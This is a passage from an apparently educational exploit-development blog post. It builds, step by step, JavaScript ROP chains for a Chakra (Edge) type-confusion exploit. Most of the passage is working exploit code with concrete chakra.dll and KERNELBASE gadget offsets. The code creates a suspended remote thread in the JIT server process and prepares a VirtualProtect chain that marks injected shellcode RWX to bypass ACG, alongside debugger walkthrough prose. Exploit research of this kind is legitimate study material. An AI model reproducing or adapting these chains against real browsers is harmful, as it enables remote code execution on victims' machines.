<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (default security properties)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwStackSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0 (default stack size)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xdcfd0</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!CreateRemoteThread</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPVOID lpParameter (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPDWORD lpThreadId (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>You’ll notice right off the bat the comment about <code class="language-plaintext highlighter-rouge">LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later</code>. This is very contradictory to what we just said about setting the thread’s entry point to a ROP gadget, and just returning into the stack. I implore the reader to keep this mindset for now, as this is logical to think, but by the end of the blog post I hope it is clear to the reader that is a bit more nuanced than just setting the entry point to a ROP gadget. For now, this isn’t a big deal.</p>

<p>Let’s now see this in action. To make things easier, as we had been using <code class="language-plaintext highlighter-rouge">pop rcx</code> as a breakpoint up until this point, we will simply set a breakpoint on our <code class="language-plaintext highlighter-rouge">jmp rax</code> gadget and continue executing until we hit our <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> ROP chain (note our <code class="language-plaintext highlighter-rouge">jmp rax</code> gadget actually will always be called once before <code class="language-plaintext highlighter-rouge">DuplicateHandle</code>. This doesn’t affect us at all and is just mentioned as a point of contention). We will then use <code class="language-plaintext highlighter-rouge">pt</code> to execute the call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, until the <code class="language-plaintext highlighter-rouge">ret</code>, which will bring us into our <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> ROP chain.</p>

<p><img src="/images/3typeconfusion121.png" alt="" /></p>

<p>Now that we have hit our <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> ROP chain, we will setup our <code class="language-plaintext highlighter-rouge">lpStartAddress</code> parameter, which will go in R9. We will first place a writable address in RAX so that our <code class="language-plaintext highlighter-rouge">mov r9, rcx</code> gadget (we will pop our intended value in RCX that we want <code class="language-plaintext highlighter-rouge">lpStartAddress</code> to be) will not cause an access violation.</p>

<p><img src="/images/3typeconfusion122.png" alt="" /></p>

<p><img src="/images/3typeconfusion123.png" alt="" /></p>

<p><img src="/images/3typeconfusion124.png" alt="" /></p>

<p><img src="/images/3typeconfusion125.png" alt="" /></p>

<p>Our call to <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> is in the current state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CreateRemoteThread</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">ret_gadget</span><span class="p">),</span>		<span class="c1">// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next parameter we are going to knock out is the <code class="language-plaintext highlighter-rouge">hProcess</code> parameter - which is just the same handle to the JIT server with <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> that we have used several times already.</p>

<p><img src="/images/3typeconfusion126.png" alt="" /></p>

<p>We can see we used <code class="language-plaintext highlighter-rouge">pop</code> to get the address of our JIT handle into RCX, and then we dereferenced RCX to get the <em>raw</em> value of the handle into RCX. We also already had a writable value in RAX, so we “bypass” the operation which writes to the memory address contained in RAX (and it doesn’t cause an access violation because the address is writable).</p>

<p>Our call to <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> is now in this state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CreateRemoteThread</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span>			<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">ret_gadget</span><span class="p">),</span>		<span class="c1">// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>After retrieving the handle of the JIT process, our next parameter we will fill in is the <code class="language-plaintext highlighter-rouge">lpThreadAttributes</code> parameter - which just requires a value of <code class="language-plaintext highlighter-rouge">0</code>. We can just directly write this value to the stack and use a <code class="language-plaintext highlighter-rouge">pop</code> operation to place the <code class="language-plaintext highlighter-rouge">0</code> value into RDX to essentially give our thread “normal” security attributes.</p>

<p><img src="/images/3typeconfusion127.png" alt="" /></p>

<p>Easy as you’d like! Our call is now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CreateRemoteThread</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span>			<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Default SECURITY_ATTRIBUTES</span>
	<span class="o">-</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">ret_gadget</span><span class="p">),</span>		<span class="c1">// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Next up is the <code class="language-plaintext highlighter-rouge">dwStackSize</code> parameter. Again, we just want to use the default stack size (recall each thread has its own CPU register state, stack, etc.) - meaning we can specify <code class="language-plaintext highlighter-rouge">0</code> here.</p>

<p><img src="/images/3typeconfusion128.png" alt="" /></p>

<p>We are now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CreateRemoteThread</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span>			<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Default SECURITY_ATTRIBUTES</span>
	<span class="mi">0</span><span class="p">,</span>				<span class="c1">// Default Stack size</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">ret_gadget</span><span class="p">),</span>		<span class="c1">// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Since the rest of the parameters will be written to the stack RSP + <code class="language-plaintext highlighter-rouge">0x28</code>, <code class="language-plaintext highlighter-rouge">0x30</code>, <code class="language-plaintext highlighter-rouge">0x38</code>. So, we will now place <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> into RAX and use our write primitive to write our remaining parameters to the stack (setting all to <code class="language-plaintext highlighter-rouge">0</code> but setting the <code class="language-plaintext highlighter-rouge">dwCreationFlags</code> to <code class="language-plaintext highlighter-rouge">4</code> to create this thread in a suspended state).</p>

<p><img src="/images/3typeconfusion129.png" alt="" /></p>

<p><img src="/images/3typeconfusion130.png" alt="" /></p>

<p>Our call is now in its final state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CreateRemoteThread</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span>			<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Default SECURITY_ATTRIBUTES</span>
	<span class="mi">0</span><span class="p">,</span>				<span class="c1">// Default Stack size</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">ret_gadget</span><span class="p">),</span>		<span class="c1">// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// No variable needs to be passed</span>
	<span class="mi">4</span><span class="p">,</span>				<span class="c1">// CREATE_SUSPENDED (Create the thread in a suspended state)</span>
	<span class="nb">NULL</span> 				<span class="c1">// Don't return the thread ID (we don't need it)</span>
<span class="p">);</span>
</code></pre></div></div>

<p>After executing the call, we get our return value which is a handle to the new thread which lives in the JIT server process.</p>

<p><img src="/images/3typeconfusion131.png" alt="" /></p>

<p>Running Process Hacker as an administrator and viewing the <code class="language-plaintext highlighter-rouge">Handles</code> tab will show our returned handle is, in fact, a <code class="language-plaintext highlighter-rouge">Thread</code> handle and refers to the JIT server process.</p>

<p><img src="/images/3typeconfusion132.png" alt="" /></p>

<p>If we then close out of the window (but not totally out of Process Hacker) we can examine the thread IT (TID) within the <code class="language-plaintext highlighter-rouge">Threads</code> tab of the JIT process to confirm where our thread is and what start address it will execute when the thread becomes non-suspended (e.g. resumed).</p>

<p><img src="/images/3typeconfusion133.png" alt="" /></p>

<p><img src="/images/3typeconfusion134.png" alt="" /></p>

<p>As we can see, when this thread executes (it is currently suspended and not executing) it will perform a <code class="language-plaintext highlighter-rouge">ret</code>, which will load RSP into RIP (or will it? Keep reading towards the end and use critical thinking skills as to why this may not be the case!). Since we will eventually write our final ROP chain to RSP, this will kick off our last ROP chain which will mark our shellcode as RWX. Our next two ROP chains, which are fairly brief, will simply be used to update our final ROP chain. We now have a thread we can control in the process where ACG is disabled  - meaning we are inching closer.</p>

<h2 id="writeprocessmemory-rop-chain-round-2"><code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> ROP Chain (Round 2)</h2>

<p>Let’s quickly take a look at our “final” ROP chain (which currently resides in the content process, where our exploit is executing):</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// VirtualProtect() ROP chain (will be called in the JIT process)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e030</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// PDWORD lpflOldProtect (any writable address -&gt; Eventually placed in R9)</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">inc</span><span class="p">();</span>

<span class="c1">// Store the current offset within the .data section into a var</span>
<span class="nx">ropoffsetOne</span> <span class="o">=</span> <span class="nx">countMe</span><span class="p">;</span>

<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// SIZE_T dwSize (0x1000)</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000040</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// DWORD flNewProtect (PAGE_EXECUTE_READWRITE)</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x61700</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span>  <span class="c1">// KERNELBASE!VirtualProtect</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualProtect)</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x118b9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x1800118b9: add rsp, 0x18 ; ret</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x4c1b65</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x1804c1b65: pop rdi ; ret</span>
<span class="nx">inc</span><span class="p">();</span>

<span class="c1">// Store the current offset within the .data section into a var</span>
<span class="nx">ropoffsetTwo</span> <span class="o">=</span> <span class="nx">countMe</span><span class="p">;</span>

<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// Will be updated with the VirtualAllocEx allocation (our shellcode)</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1ef039</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x1801ef039: push rdi ; ret (Return into our shellcode)</span>
<span class="nx">inc</span><span class="p">();</span>
</code></pre></div></div>

<p>This is a <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain, which will mark the target pages as RWX. As we know we cannot <em>directly</em> allocate and execute RWX pages via remote injection (<code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> -&gt; <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> -&gt; <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>). So, instead, we will eventually leak the stack of our remote thread that exists within the JIT process (where ACG is disabled). When we resume the thread, our ROP chain will kick off and mark our shellcode as RWX. However, there is a slight problem with this. Let me explain.</p>

